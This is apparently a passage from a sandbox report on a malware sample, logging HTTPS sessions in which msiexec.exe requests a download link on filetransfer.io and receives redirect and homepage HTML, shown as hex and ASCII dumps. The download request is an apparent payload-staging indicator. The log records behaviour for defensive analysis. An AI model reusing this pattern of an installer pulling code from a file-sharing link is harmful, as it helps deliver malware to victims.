2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 6c 69 64 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 Data Ascii: lid/160.png"><link rel="apple-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="9
2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 77 69 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 Data Ascii: o" content="/img/favicon/ms/wide.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><me
2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 49 66 20 74 68 69 73 20 72 65 61 6c 6c 79 20 69 73 20 74 68 65 20 63 6f 72 72 65 63 74 20 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 Data Ascii: If this really is the correct beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?";
2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 64 61 79 73 20 3d 20 22 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f Data Ascii: me.shortcuts.days = "d"; MESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://
2025-01-10 19:14:39 UTC	1353	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 20 6c 6f 67 6f 2d 65 6e 22 20 74 69 74 6c 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 Data Ascii: <a class="logo logo-en" title="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><sp
2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 32 61 34 64 0d 0a 0a 09 09 09 3c 2f 75 6c 3e 0a 09 09 3c 2f 6e 61 76 3e 0a 0a 09 09 3c 2f 64 69 76 3e 3c 2f 68 65 61 64 65 72 3e 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 Data Ascii: 2a4d</ul></nav></div></header><hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload
2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 63 6f 6e 2d 75 70 6c 6f 61 64 22 3e 3c 2f 73 70 61 6e 3e 0a 0a 09 09 09 09 09 09 09 53 65 6e 64 20 66 69 6c 65 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 Data Ascii: con-upload"></span>Send files</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size
2025-01-10 19:14:39 UTC	1369	IN	Data Raw: 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e Data Ascii: </div>... .alert --><div class="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	57957	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:40 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:40 UTC	619	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:40 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:40 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4krVctIHC%2FAazLouTRjHzoRO5%2FI0qB4gca6povEBRxLVJ%2FP%2BgCJvkLYGQ5dIGY2kfIKDG1d%2BqOfHacGv7vBBUuUOCP8xqyy49wquEVxzPdOELFP8Mm6O84CQEmZFVxkb6IY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdc89cfb78e8-EWR
2025-01-10 19:14:40 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	57958	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:40 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:40 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: Fg2wY1V+PC53f8kIF5hm+6vCNSzV/EAE9Kf2ZwkT1VlgMMTZU2lWER61tqi8PuIPcmUIWnd1USs= x-amz-request-id: JA1HTT61M3NVKD5Z Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GBQOd%2FnsTFVNupNsAcAd4jnYdbqPc4oTsk2j8axmLu9VLyk0YH9hGtKOq9%2BhTmC6sA1r3Km98Srktzmii9ejJ1ZaDNW3ISWIwtopgquW40umpOGmkcm%2FacOlPFhkiKDlhbM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefdcc88b442dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1588&rtt_var=604&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1799137&cwnd=251&unsent_bytes=0&cid=35787dd47a94011d&ts=204&x=0"
2025-01-10 19:14:40 UTC	425	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:40 UTC	1369	IN	Data Raw: 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 Data Ascii: a charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:descript
2025-01-10 19:14:40 UTC	1369	IN	Data Raw: 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e 67 22 3e 0a 09 3c Data Ascii: ch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.png"><
2025-01-10 19:14:40 UTC	1369	IN	Data Raw: 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 Data Ascii: "><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content="websi
2025-01-10 19:14:40 UTC	1369	IN	Data Raw: 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 74 4c 65 61 76 65 Data Ascii: ing of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelistLeave
2025-01-10 19:14:40 UTC	1369	IN	Data Raw: 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 58 58 40 73 65 6e Data Ascii: S.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXXXX@sen
2025-01-10 19:14:40 UTC	1354	IN	Data Raw: 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a Data Ascii: tch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle"></span>
2025-01-10 19:14:40 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:14:40 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:14:40 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	57959	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
